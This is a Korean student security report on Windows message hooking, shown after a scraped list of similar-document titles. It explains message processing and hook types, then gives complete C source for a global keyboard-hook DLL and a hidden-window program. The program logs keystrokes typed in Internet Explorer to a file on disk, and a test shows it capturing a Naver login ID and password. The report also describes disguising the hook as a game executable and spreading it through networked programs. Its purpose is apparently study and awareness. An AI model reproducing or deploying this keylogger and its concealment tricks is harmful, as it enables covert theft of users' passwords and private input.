IS119_Message.Hooking_이성재.hwp

Similar documents
개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API

1장 윈도우 프로그래밍 들어가기

Microsoft PowerPoint - 09-CE-5-윈도우 핸들

Content 1. DLL? 그게뭐야?

<4D F736F F F696E74202D203031C0E520C0A9B5B5BFEC20C7C1B7CEB1D7B7A1B9D620B1E2C3CA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D>

Microsoft PowerPoint - 04windows.ppt

MFC 프로그래밍

예제와 함께 배워보는 OllyDbg사용법

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft Word - hook1.doc

Microsoft Word - hook4.doc

Microsoft PowerPoint - chap06-2pointer.ppt

2014 년정보보호졸업작품보고서 파일유출방지시스템 지도교수님 : 양환석교수님 팀명 : LKC Security 팀원 : 이호영, 김상우, 최유택 중부대학교정보보호학과

Microsoft Word - hook8.doc

윈도우즈 프로그래밍

슬라이드 1

04장 메시지 처리 유형

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - hci2-lecture1.ppt

Microsoft PowerPoint - chap06-5 [호환 모드]

Chapter 4. LISTS

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft Word - hook3.doc

Chapter #01 Subject

Microsoft PowerPoint - chap06-1Array.ppt

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

PowerPoint 프레젠테이션

11장 포인터

5장 MFC기반 다지기

Microsoft Word - hook5.doc

Frama-C/JESSIS 사용법 소개

Microsoft Word - hook7.doc

PowerPoint 프레젠테이션

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

untitled

<4D F736F F F696E74202D20C1A63034B0AD202D20C7C1B7B9C0D3B8AEBDBAB3CABFCD20B9ABB9F6C6DBC0D4B7C2>

Lab 3. 실습문제 (Single linked list)_해답.hwp

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

Windows 8에서 BioStar 1 설치하기

Microsoft PowerPoint - hci2-lecture1.ppt

금오공대 컴퓨터공학전공 강의자료

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

PowerPoint Presentation

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070>

제목

In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a proce

슬라이드 1

PowerPoint 프레젠테이션

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

Microsoft PowerPoint - chap01-C언어개요.pptx

11장 포인터

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

BMP 파일 처리

슬라이드 1

윈도우 프로그래밍

C++ Programming

UI TASK & KEY EVENT

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

PowerPoint Presentation

쉽게 풀어쓴 C 프로그래밍

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

K&R2 Reference Manual 번역본

PowerPoint Presentation

OCW_C언어 기초

API 매뉴얼

PowerPoint 프레젠테이션

DLL(Dynamic Linked Library)

금오공대 컴퓨터공학전공 강의자료

슬라이드 1

슬라이드 1

설계란 무엇인가?

게시판 스팸 실시간 차단 시스템

Microsoft PowerPoint UI-Event.Notification(1.5h).pptx

UI TASK & KEY EVENT

설계란 무엇인가?

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD>

Microsoft PowerPoint 웹 연동 기술.pptx

vi 사용법

chap 5: Trees

gnu-lee-oop-kor-lec06-3-chap7

<33372DC0A9B5B5BFECC7C1B7CEB1D7B7A1B9D62E687770>

12 강. 문자출력 Direct3D 에서는문자를출력하기위해서 LPD3DXFONT 객체를사용한다 LPD3DXFONT 객체생성과초기화 LPD3DXFONT 객체를생성하고초기화하는함수로 D3DXCreateFont() 가있다. HRESULT D3DXCreateFont

슬라이드 1

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

Introduce

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )

쉽게 풀어쓴 C 프로그래밍

Microsoft PowerPoint - polling.pptx

콜백 함수와 후킹 기법

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

Microsoft PowerPoint - chap11-포인터의활용.pptx

Microsoft PowerPoint 자바-기본문법(Ch2).pptx

Microsoft Word - PLC제어응용-2차시.doc

Microsoft Word - FunctionCall

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft PowerPoint - 04-UDP Programming.ppt

Transcription:

Message Hooking 이성재 einsstar@is119.jnu.ac.kr

Content 1. 목적 1 2. 윈도우 NT 환경에서의메시지처리 2 2.1. 메시지큐를이용한메시지처리 3 2.2. 윈도우프로시저에직접메시지전달 3 3. 메시지후킹이란 3 3.1. 메시지후킹의개념정의 3 3.2. 메시지후킹의유포방법 3 4. 후킹프로시저제작 3 4.1. 사전지식 3 4.2. 메시지후킹프로그램작성 3 5. 실험및결과 5 6. 결론 6 참고문헌 7

1. 목적 이문서의제작은본목적을망각한엉뚱한곳에서출발하게되었다. 처음문서를작성하 고자마음을먹으면서정한주제는분명 DLL injection을이용한 Key Hooking 이었다. 문서를 작성하는어느누구든지 DLL injection에대한자료를모으기를시작함과동시에공부하게된 것이다. 하지만, 본작가는 Key Hooking 에대한자료를먼저모았으면서, 또 Message Hooking 이라는주제에대해공부를하고있었다. 이렇게엉터리에터무니없이시작된 Message Hooking 문서이지만, 보안을위하여밤샘공 부하는이들에게조그마한도움이되진않을까? -3-

2. 윈도우 NT 환경에서의메시지처리 본주제인 Message Hooking 에대한공부를원한다면, 목표대상이될 Message에대해서 알아야하며어떻게생성되고어떻게처리되는지에대한이해가필요하다. 이벤트발생 메시지전송 메시지처리 화면에출력 [ 표.1] 윈도우에서의메시지처리과정 기본적틀은위와같다. 키보드나마우스등의입력장치로부터이벤트가발생하게되면이 를 CPU 에알리기위해서메시지를생성하고전송하며, 이를처리하여다시출력장치로결과 값을보여주는등의기본적인일련의과정이윈도우에서의메시지처리방식이다. 메시지발 생이키보드혹은마우스등의입력에서만발생하는것은아니다. 메시지는마우스의움직임 이라든지, 윈도크기가변경되었다든지시스템색을변경했다든지하는상태변화등에의해 서도메시지는발생될수있다. 이제세번째단계로넘어가서, 발생한메시지의처리를다루어야한다. 메시지의처리에 는두가지의방법이주로다루어지고있는데, 그첫번째가각애플리케이션마다가지고 있는메시지큐에메시지를추가하는방법이고, 다음으로는메시지의신속한처리를위하여 애플리케이션의윈도우프로시저에직접메시지를전달하는방식이다. [ 그림.1] 윈도우메시지의처리모식도 -4-

2.1. 메시지큐를이용한메시지처리 메시지큐는 FIFO(First In First Out) 구조로동작하며임시로메시지를저장한다. 애 플리케이션의메시지큐에저장된메시지는애플리케이션의 된순서대로처리되는데 WinMain WinMain 함수에서큐에저장 함수는지속적으로큐를검사해서메시지가있으면적절 한윈도우에메시지를전달하고그메시지를메시지큐에서삭제하며메시지큐에 WM_QUIT 메시지가들어올때까지이런작업을반복한다. 2.2. 윈도우프로시저에직접메시지전달 애플리케이션의각윈도우는메시지를실제로처리해주는윈도프로시저라는것을가지 고있다.RegisterClass나 RegisterClassEx API를이용해서윈도클래스를등록할때윈도 우프로시저를지정하게되어있고 CreateWindowsEx등의 API로등록한윈도클래스의인스 턴스를생성하면그윈도의메시지는등록할때지정한윈도프로시저에게보내진다. 윈도 우프로시저는네개의인자를가지는함수로선언하며보통 case 문을사용해서구현한다. [ 그림.2] 윈도우프로시저에메시지를전달하는기본적인형태 위의소스는간단한틀을보여주기위함이지특별한의미를가지고있는것은아니다. 앞 서설명한바와같이윈도우프로시저에메시지를직접적으로전달하기위해서는네개의인 자를가지는함수를선언하며 case 문을채택했음을확인할수있다. 이제함수에서원하던 네개의인자값들이각각무엇을뜻하는지확인해보자. 윈도우프로시저의첫번째인자인 hwnd는메시지를받는윈도의핸들을나타내며두번째 인자 message 는처리할메시지를나타낸다.Messages.pas 유닛에정의되어있다. 세번째, 네번째인자인wParam과 lparam은 message에어떤메시지가들어오느냐에따라다른의미를 가지는데, 예로 message가 WM_LBUTTONDOWN 메시지의경우 wparam 은눌려진키에대한가상 코드가넘어오고 lparam 에는현재마우스포인터의위치가넘어온다는것을들수있다. -5-

3. 메시지후킹이란 이문서가메시지후킹에대해서다룬다고하였으면서도메시지의생성과처리에대해서만나열해놓았는데, 이제부터라도본격적으로본주제로들어가보자. 3.1. 메시지후킹의개념정의 일단훅에대해서알아보자. 훅이란단어는 낚싯바늘, 갈고리 라는뜻외에도 ~ 을 낚싯바늘로낚다 라는뜻도가지고있다. 즉. 후킹이라는것은하나이상의운영체제시스 템이나프로그램에서원하는정보를빼온다는것으로정의내릴수있는데, 조금더확실을 기하기위해서 google 社가운영하고있는검색엔진을이용하였다. google 社가운영하고 있는검색엔진에서는후킹에대해서다음과같이정의하고있다. Ahook is apoint in the system message-handling mechanism where an application can install asubroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure. 즉, 후킹이란시스템과프로세스사이에서윈도우프로시저로넘어가는메시지를빼돌려내어확인하는일련의행위를이르는말인것이다. 그렇다면이제 Message Hooking, 이다. Message Hooking 에대해서확실하고정확한정의를내릴수있게되었다. 즉우리가원하는메시지후킹은후킹의대상이메시지가된것뿐인것 3.2. 메시지후킹의유포방법 메시지후킹의침입경로를알고자하는사람은누가있을까? 일단크래커를들수있겠다. 메시지후킹을담당하는프로그램이나소스를개발하였다고하여서끝일까? 자신의 PC에메 시지후킹프로그램을동작시켜서자신이무슨일을하는지감시하고싶은변태가아니라면 타인의 PC 나서버에메시지후킹프로그램을설치하고싶을것이다. 비단크래커뿐만이아 니라보안전문가들도메시지후킹의전달방법에대해서궁금증을호소할것이다. 크래커가 악의적인행동을하려는데 예, 어서오세요 하며맞이해주는곳은어디에도없기때문이 다. 1) 바이러스이용 메시지후킹을전달하는과정에서가장큰문제는프로그램이이것저것쓸모없는데이터 를마구잡이로가져와서데이터를기록하는파일을짧은시간에채워버린다는것이다. 따라 서제대로된(?) 메시지후킹을위해서는목적프로그램의이름으로후킹프로그램의이름 을바꾼다음, 후킹기능을설치한후실행하는것이효율적이다. 하나의예를들어보자. 우리들이가장즐겨하는게임중의하나인스타크래프트( 딴죽걸지말도록하자스타크래프 -6-

트는아직도동시접속자수가 10 만을넘고있는대단한게임이다) 를후킹한다고하자. 이 실행파일의이름은 broodwar.exe 이다. 먼저이실행파일의이름을 broodwar_origin.exe로 바꾼다음, 해킹용실행파일을 broodwar.exe. 로바꾼다. 이어서실제후킹기능을수행하 는프로그램에서 WM_CREATE 메시지처리부분의맨아래에 winexec( "broodwar_origin.exe", SW_SHOW); 이와같은소스를첨가하면,broodwar에서주고받아지는메시지에대한데이터를잡아낼수있다. 스타크래프트의경우수많은패킷과메시지가왔다갔다하기때문에큰이점은없을뿐더러메시지를어떻게이용할지막막하겠지만단순히예를든것이기때문에가볍게넘어가도록하자. 2) 네트워크를통한메시지후킹유포 네트워크를통한메시지후킹이라고하여새로운방법으로제시해놓았지만, 그내용을살 펴본다면위에서본것과많은차이를가지지않는다. 단지애플리케이션을손댈때, 그 대상이어떻게되느냐에따른것이다. 네트워크를지원하는프로그램에후킹을하는루틴을 집어넣으면되는데, 이렇게간단하게적어놓은몇글자가큰의미를가지고있다. 네트워 크를지원하는프로그램에후킹을하는루틴을심어놓았다는것은갈무리한정보가네트워 크로도보낼수있다는것을의미하기때문이다. 그렇다는것은피해대상이기하급수적으 로늘어난다는것을시사한다. 4. 후킹프로시저제작 본격적으로메시지후킹에사용될프로시저를작성해보자. 은개념적인부분이필요한데, 무엇이필요한지살펴보자. 후킹프로시저의제작에는많 4.1. 사전지식 윈도우프로그래밍공부를하다보면핸들과 DLL 에대해서자주언급됨을볼수있다. 과 연이들은무엇이며, 어디에사용되는것일까? 1) 핸들 핸들이란구체적인어떤대상에붙여진번호이며문법적으로는 32비트의정수값을가진 다. 만들어진윈도우에는윈도우핸들을붙여윈도우를번호로관리하며아직은잘모르겠 지만 DC 에대해서도핸들을사용하고논리적펜, 브러시에도핸들을붙여관리한다. 심지어 메모리를할당할때도할당한메모리의번지를취급하기보다는메모리에번호를붙인메모 리핸들을사용한다. 왜이렇게핸들을자주사용하는가하면대상끼리의구분을위해서는 문자열보다정수를사용하는것이훨씬더속도가빠르기때문이다. -7-

2) DLL DLL 의필요성에대한예제로는인터넷에서찾아본것이적절할것같다. 2가구의주택이 나란히있다고가정해보자. 각자의가구에서담장이쳐져있다고하면각주택은각자의주 차공간을가진것이며상대방의차량이있는지? 혹은없는지? 어떤차인지? 에대한정보 를얻을수없다. 그런데 2 가구의주택에서합의를보고담장을허물었다고생각을해보자. 당연히공통된주차공간이생기며담장이철거전에는알수없었던정보(?) 를알수있게 된다. 여기서공통된주차공간을위해담장을허무는역할을하는것이 DLL 이다. 메시지를 후킹하기위해서는메시지가지나가는곳에설치해야하지않겠는가? 그래서메시지후킹 프로그램을 DLL 형식으로작성하여공동작업환경에집어넣는것이다. 그럼 DLL 이란진정으로무엇을의미하는것인가? DLL 은 Dynamic Link Library' 의약자로서동적으로링킹을하는라이브러리파일들을 이르는말이다. 링크될때라이브러리파일에서특정함수들의기능이구현된부분이실행 파일에같이덧붙여지는정적링크라이브러리와는달리 될때 DLL 리를이용한다. Windows System은프로그램이실행 파일로부터특정함수들의구현된부분을동적으로링크하는동적링크라이브러 4.2. 메시지후킹프로그램작성 1) 훅프로시저의설치 훅체인에등록되어메시지를감시하는함수를후킹프로시저또는훅프로시저라고한 다. 여기훅에도많은타입을가지고있는데, 각타입에따라훅프로시저의인수나리턴 값의의미가달라진다. SetWindowsHookEx( ); int idhook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwtreadid [ 표.2] 훅프로시저설치함수 훅프로시저를설치하기위해서는기본적으로위와같이 SetWindowsHookEx() 함수를사용하 여야하는데, 안에있는네개의인자값에대해차례대로설명하겠다. 첫번째인자값인 idhook 훅의종류를결정한다. 그리고 lpfn은지정한이벤트가발생했을때그처리를부탁할 프로시저의주소이다. 세번째 hmod는 lpfn이있는 DLL 의시작첫주소를가리킨다. 그리고 dwthreadid는감시할 Thread의 ID 이다. 네번째값이 0으로리턴될경우모든 Thread에서발 -8-

생하는메시지가훅프로시저로전달된다. 다음은 idhook 에서나타내는훅의종류를나타낸표이다. 자신이작업하고자하는훅프로 시저를설치할때유용하게사용되리라고생각한다. 훅타입 WH_CALLWNDPROC WH_CALLWNDPROCRET WH_CBT WH_DEBUG WH_GETMESSAGE WH_JOURNALRECORD WH_JOURNALPLAYBACK 설명 SendMessage 함수로메시지를보내기전에훅프로시저가 호출된다. 메시지를처리한후에훅프로시저가호출된다. 전달되는 구조체에는메시지와메시지를처리한리턴값을담고있 다. 윈도우를생성, 파괴, 활성화, 최대, 최소, 이동, 크기변 경하기 등의시스템명령을처리하기전에훅프로시저가 호출된다. 이훅은컴퓨터를이용한훈련프로그램에서주 로사용된다. 다른타입의훅프로시저를호출하기전에이타입의훅 프로시저를호출하며다른타입의훅프로시저호출을허 가할것인지를결정한다. GetMessage나 PeekMessage 함수로조사되는메시지를감시 한다. 키보드나마우스를통해입력되는이벤트를감시하고기록 한다. 기록된이벤트는 WH_JOURNALPLAYBACK 훅에서재생할 수있다. 이훅은전역및특정스레드에설치가능하다. 시스템메시지큐에메시지를삽입할수있도록한다. 이 훅에서 WH_JOURNALRECORD 훅에서기록한키보드마우스입 력을재생할수있다. 이훅이설치되어있으면마우스나 키보드입력은금지된다. WH_KEYBOARD WM_KEYDOWN, WM_KEYUP 등의키보드메시지를감시한다. WH_MOUSE 마우스메시지를감시한다. 메뉴, 스크롤바, 메시지박스, 대화상자등에의해처리되 WH_MSGFILTER WH_SYSMSGFILTER WH_SHELL WH_KEYBOARD_LL WH_MOUSE_LL 는메시지와사용자의 Alt+Esc키입력에의한포커스이동 을감시한다. 훅프로시저를설치한프로그램에대해서만 동작한다. WH_MSGFILTER 와같으며모든프로그램에대해동작한다. 쉘프로그램이활성화되거나새로운최상위운도우가만들 어지거나파괴될때이훅프로시저가호출된다. 스레드의입력큐에붙여지는키보드입력메시지를감시 한다. WH_KEYBOARD보다더저수준의메시지를받을수있 지만 NT4.0 SP3 이후에만사용할수있다. 스레드의입력큐에붙여지는마우스입력메시지를감시 한다. [ 표.3] 훅의종류 -9-

2) 훅프로시저를설치하는 DLL파일만들기 #include <windows.h> //.kbdata라는이름의커스텀섹션에변수선언 #pragma data_seg(".npdata") HINSTANCE hmodule=null; HHOOK hkeyhook=null; HWND hwndbeeper=null; #pragma data_seg() #pragma comment (linker, "/SECTION:.npdata,RWS") // 메시지를처리하는 KeyHookProc함수 LRESULT CALLBACK KeyHookProc(int ncode, WPARAM wparam, LPARAM \ { lparam) if (ncode>=0) { // 사용자정의메시지를훅에넘겨줌 SendMessage(hWndBeeper, WM_USER+1, wparam, lparam); //CallNextHookEx함수를호출 return CallNextHookEx(hKeyHook, ncode, wparam, lparam); // 훅프로시저생성함수 extern "C" declspec(dllexport) void InstallHook(HWND hwnd) { hwndbeeper=hwnd; //KeyHookProc 함수를전역훅으로설치 // 키보드입력만을처리함 hkeyhook=setwindowshookex(wh_keyboard,keyhookproc,hmodule,null); extern "C" declspec(dllexport) void UninstallHook() { // 훅프로시저제거함수 UnhookWindowsHookEx(hKeyHook); // 프로시저제거 -10 -

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD fdwreason, LPVOID lpres) { switch (fdwreason) { case DLL_PROCESS_ATTACH: // 훅을소유한모듈을지정하기위해전역변수에저장 hmodule=hinst; break; case DLL_PROCESS_DETACH: break; return TRUE; [ 표.4] 훅프로시저를설치할 DLL파일 위의소스를컴파일하면후킹을위한 Dll 파일이생성된다. 소스만을보여주고몇줄안 되는주석만을담았는데, 간단히한편살펴보자. 우선어떤프로세스의주소공간에서실행되든항상동일한값을참조하기위해.kbdata라 는커스텀섹션공간에 hkeyhook, hmodule, hwndbeeper' 변수를선언한다. hkeyhook은훅 프로시저의핸들값이며 hmodule 은인스턴스의핸들값을의미한다. InstallHook함수는자 신을호출하는훅의윈도우핸들을넘겨받아 hwndbeeper 변수에저장하는데, 이변수는 KeyHookProc함수에서 SendMessage 함수에서인자값으로사용한다. SetWindowsHookEx() 함수 의첫번째인자를보시면 하였다. WH_KEYBOARD상수를사용하여키보드관련메시지만을처리하도록 3) 훅프로시저 off 앞에서훅프로시저를설치하는 DLL 파일을만들어보았다. 그런데훅프로시저를항상작 동시킨다는건사실상불가능한일이다. 실제메시지처리루틴에서는각종메시지가쏟아 진다. 그것도 1 초에수십에서수백개의메시지가말이다. 이렇게많은메시지를계속받아 들인다면머지않아서메시지를기록하는파일이가득차고말것이다. 이를예방하기위해서 해커들은자신이원하는메시지만을보기위해서필터링기능을부연하는경우도있지만, 이 것도그렇게큰효용을못내고있다. 이에우리는훅프로시저의정지를위한작업을해 주어야한다. 설치된후킹프로시저를제거하기위해서는 UnhookWindowsHookEx() 가쓰이게 된다. 이제사용법을알아보고앞에서만들프로젝트에적용해보길바란다. -11 -

BOOL UnHookWindowsHookEx( ); HHOOK hhk [ 표.5] UnHookWindowsHookEx() 함수모델 UnHookWindowsEx() 에서 hhk 는정지할프로시저의핸들값을말하는것이다. 이값은앞에 서 SetWindowsHookEx() 에서받아들이게되는데, 이핸들값을기초로해서 UnHookWindowsEx 함수가어떠한것을정지할지결정하게된다. 4) 메시지후킹프로그램제작 메시지후킹프로그램을작성하기전에, 앞에서작성했던 dll파일을프로젝트에세팅해야 한다. 메뉴 -> Project -> Setting -> Link 탭의 object/library modules에자신이작성한 dll 파일의이름을설정 [ 표.6] dll파일세팅 [ 그림.3] dll파일세팅 [ 그림.4] dll파일실행화면 -12 -

메시지후킹에대한사전준비를모두맞췄으니이제본격적으로프로그램을만들어보자. 프로그램에대한전반적인것을작성해보고싶었지만, 계속되는오류로인해많은차질이 빚어진관계로이은규님의 따라해보는후킹 이라는제목의문서를조금참조하였다. #include <windows.h> #include "../HookDll/HookDll.h" LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM); // 메시지처리함수선언 TCHAR good[1024]; LPCTSTR lpszclass=text("ixplorhook"); // 후킹한문자저장공간 int APIENTRY WinMain(HINSTANCE hinstance,hinstance hprevinstance,lpstr lpszcmdparam,int ncmdshow) { HWND hwnd; MSG Message; WNDCLASS WndClass; //WinMain 함수 WndClass.cbClsExtra=0; WndClass.cbWndExtra=0; WndClass.hbrBackground=(HBRUSH)(COLOR_WINDOW+1); WndClass.hCursor=LoadCursor(NULL,IDC_ARROW); WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION); WndClass.hInstance=hInstance; WndClass.lpfnWndProc=WndProc; WndClass.lpszClassName=lpszClass; WndClass.lpszMenuName=NULL; WndClass.style=CS_HREDRAW CS_VREDRAW; RegisterClass(&WndClass); // 윈도우생성 hwnd=createwindow(lpszclass,lpszclass,ws_overlappedwindow, CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT, NULL,(HMENU)NULL,hInstance,NULL); // 윈도우를보여주는함수 -13 -

//ShowWindow(hWnd,nCmdShow); // 보이지않게하기위해제거 while (GetMessage(&Message,NULL,0,0)) { TranslateMessage(&Message); DispatchMessage(&Message); return (int)message.wparam; // 메시지루프 // 실질적으로메시지를처리 LRESULT CALLBACK WndProc(HWND hwnd,uint imessage,wparam wparam,lparam lparam) { HWND hfgwnd; HANDLE hfile; DWORD dwwritten; TCHAR szclass[32]; static int i=0; // 찾고자하는윈도우의핸들저장 // 쓸파일핸들 // 쓴바이트저장변수 // 클래스네임저장 switch (imessage) { case WM_CREATE: InstallHook(hWnd); return 0; case WM_USER+1: // 윈도우를생성할때훅프로시저설치 // 사용자정의메시지처리 // 메시지가발생한윈도우핸들을가져옴 hfgwnd=getforegroundwindow(); GetClassName(hFGWnd,szClass,32); // 클래스네임을 szclass에저장 if(lstrcmpi(szclass,"ieframe")==0 && (lparam &0x80000000)==0) { if((tchar)wparam == (TCHAR)0x0d) { // 엔터값이면파일에저장 // 저장되면마지막이라는걸나타내줌 -14 -

good[i++] =0x0d; good[i++] ='n'; good[i++] ='e'; good[i++] ='w'; good[i++] =0x0d; good[i] =0; // 파일열기 hfile=createfile("c:\\testfile.txt", GENERIC_WRITE,0,NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); // 파일이존재하지않으면생성 if(hfile == INVALID_HANDLE_VALUE){ hfile=createfile("c:\\testfile.txt", GENERIC_WRITE,0,NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); // 파일이존재하면포인터를파일의끝을나타나게함 else SetFilePointer(hFile, 0, NULL, FILE_END); return 0; case WM_DESTROY: WriteFile(hFile, good, // 저장해놓은문자열을파일에씀 lstrlen(good), &dwwritten, NULL); CloseHandle(hFile); i = 0; // 배열을초기화 // 백스페이스키면저장공간을하나앞으로당김 else if((tchar)wparam == (TCHAR)0x08) { else { UninstallHook(); i--; good[i++] =(TCHAR)wParam; good[i] =0; // 나머지키는배열에저장 // 프로그램이종료되면훅프로시저를제거 -15 -

PostQuitMessage(0); return 0; return(defwindowproc(hwnd,imessage,wparam,lparam)); [ 표.7] 메시지를처리하는훅파일소스 위소스를살펴보자. WndProc() 함수에서실질적으로후킹을한메시지를처리합니다. 처음윈도우가실행되면, WM_CREATE 메시지를받는다. 그러면 InstallHook() 함수를호출하여전역훅을설치한다. 그리고프로그램이종료되면 UninstallHook() 함수를호출하여설치한훅을제거한다. 위소스에서가장핵심적인부분은 WM_USER+1 메시지가발생할때인데, 후킹된메시지가 발생되어처리되는부분이다.WM_USER+1 메시지가발생하면우선메시지가발생한윈도우의 윈도우핸들을체크하여인터넷창에서발생한메시지인지를확인해야한다. 이파일의 목적은인터넷에서발생한키만을저장하는것이목적이므로다른창에서발생한메시지는 무시하도록한다. 만약키입력시에 Enter 키를누르게되면,result.txt 파일을열어서 저장하도록작성하였다. 좀더자세히보면문자키가입력되면 good 이라는배열에 차근차근입력하고, 백스페이스키가발생하면배열의위치를나타내는변수를하나 감소시켜삭제하는효과를나타내도록하였다.Enter 키를사용하면배열의마지막에 new 라는문구가뜨면서메시지후킹의피해자가무엇을입력하고자하였는지알수있도록 하였다. -16 -

5. 실험및결과 작성한프로그램을실행한후에네이버사이트 (http://www.naver.com) 에서의로그인후 메시지후킹을확인해보겠다. [ 그림.5] 네이버사이트의로그인인증 인증시에 ID 로는 'einsstar' 를 Password 로는 asdf1234' 를입력해보았다. [ 그림.6] result.txt의확인 위와보는바와같이일단 C 드라이브에 result.txt 라는파일이생성되었음을볼수 있다. 이제이파일을확인하여보자. [ 그림.7] result.txt 파일내용확인 위의그림을확인하여보면ID와 Password 를정확히후킹했음을확인할수있다. -17 -

5. 결론 메시지후킹이라는잘알려진비법으로인하여자신도모르는사이에계좌에서돈이나가고자신의정보가세어나가는등의피해가아직도지속되고있다. 간단한방법으로도이런사태를예방할수있음에도불구하고아직까지많은사람들이보안에대해서무지한경우가많다. 이문서를읽으려고했던당신이라면무지한사람을위해발벗고나서야하지않을까? 아직도많이부족한문서이지만더욱더훌륭한정보로가득찼으면한다. -18 -

참고문헌 [1] 김성우, 해킹, 파괴의광학, 와이미디어,2006년 12월 20일 [2] 김상형, 윈도우즈 API 정복 Vo.1", 한빛미디어,2006년 6월 26일 [3] 김상형, 윈도우즈 API 정복 Vo.2", 한빛미디어,2006년 6월 26일 [4] 이은규, 따라해보는후킹, http://unkyulee.net,2003년 11월 2일 -19 -